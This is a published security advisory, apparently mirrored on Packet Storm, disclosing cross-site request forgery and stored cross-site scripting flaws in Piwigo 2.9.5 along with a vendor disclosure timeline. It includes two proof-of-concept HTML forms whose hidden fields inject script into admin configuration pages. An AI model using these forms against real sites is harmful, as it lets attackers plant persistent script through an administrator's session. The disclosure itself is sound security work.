what you don't know can hurt you

Piwigo 2.9.5 Cross Site Request Forgery / Cross Site Scripting

Piwigo 2.9.5 Cross Site Request Forgery / Cross Site Scripting
Posted Sep 13, 2019
Authored by Rodolfo Tavares

Piwigo version 2.9.5 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2019-13363, CVE-2019-13364
MD5 | 3c7069e96e000fdbcb03ee3f7ec38aed

Piwigo 2.9.5 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
=====[ Tempest Security Intelligence - ADV-03/2019 ]==========================

Piwigo - Version 2.9.5

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Vulnerability Information]=============================================
* Class: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79] [CWE-79] Cross-Site Request Forgery (CSRF) [CWE-352]
* CVSS:6.8.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
* CVE-2019-13363, CVE-2019-13364

=====[ Overview]========================================================
* System affected : Piwigo - Version 2.9.5
* Software Version : Version 2.9.5 (other versions may also be affected).
* Impact : Piwigo 2.9.5 is vulnerable to Cross-Site Request Forgery and XSS via /admin.php?page=notification_by_mail&mode=param or /admin.php?page=account_billing. An attacker can exploit this by injecting and persisting javascript code to coerce an admin user into performing unintended actions.

=====[ Detailed description]=================================================

The html codes below exploit vulnerabilities in the same way due to the fact that both forms do not contain CSRF tokens and are vulnerable to XSS attacks. Then an attacker can host these forms on their malicious host and trick an administrator into visiting your page. If successful, the javascript code will be persistently inserted into the administrative configuration pages.
* [admin.php?page=notification_by_mail&mode=param]

<form action="http://domain.com/admin.php?page=notification_by_mail&mode=param" method="POST">

<input type="hidden" name="nbm_send_html_mail" value="xssaxssa<IMG """><SCRIPT>alert(document.domain)</SCRIPT>"" />

<input type="hidden" name="nbm_send_mail_as" value="xssaxssa<IMG """><SCRIPT>alert(document.domain)</SCRIPT>"" />

<input type="hidden" name="nbm_send_detailed_content" value="xssa" />

<input type="hidden" name="nbm_complementary_mail_content" value="xssa" />

<input type="hidden" name="nbm_send_recent_post_dates" value="xssa" />

<input type="hidden" name="param_submit" value="xssa" />
* [admin.php?page=account_billing]

<form id="myForm" action="https://pocs.piwigo.com/admin.php?page=account_billing" method="POST">

<input type="hidden" name="vat_number" value="xssa" />

<input type="hidden" name="billing_name" value="xssa"><script>alert(1)</script>" />

<input type="hidden" name="company" value="xssb" />

<input type="hidden" name="billing_address" value="xssc" />

=====[ Timeline of disclosure]===============================================

26/Jun/2019 - Responsible disclosure was initiated with the vendor.

26/Jun/2019 - Piwigo confirmed the issue;

08/Jul/2019 - CVEs was assigned and reserved as CVE-2019-13364 CVE-2019-13363

09/Aug/2019 - The vendor fixed the vulnerability CSRF.

12/Aug/2019 - The vendor fixed the vulnerability XSS.

=====[ Thanks & Acknowledgements]========================================
* Tempest Security Intelligence [4]

=====[ References ]=====================================================

[1][ https://cwe.mitre.org/data/definitions/352.html|https://cwe.mitre.org/data/definitions/352.html]

[2][ https://cwe.mitre.org/data/definitions/79.html|https://cwe.mitre.org/data/definitions/79.html]

[3][ https://github.com/Piwigo/Piwigo/issues/1055|https://github.com/Piwigo/Piwigo/issues/1055]

[4][ http://www.tempest.com.br|http://www.tempest.com.br/]

=====[ EOF ]===========================================================
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    35 Files
  • 8
    Jul 8th
    4 Files
  • 9
    Jul 9th
    9 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close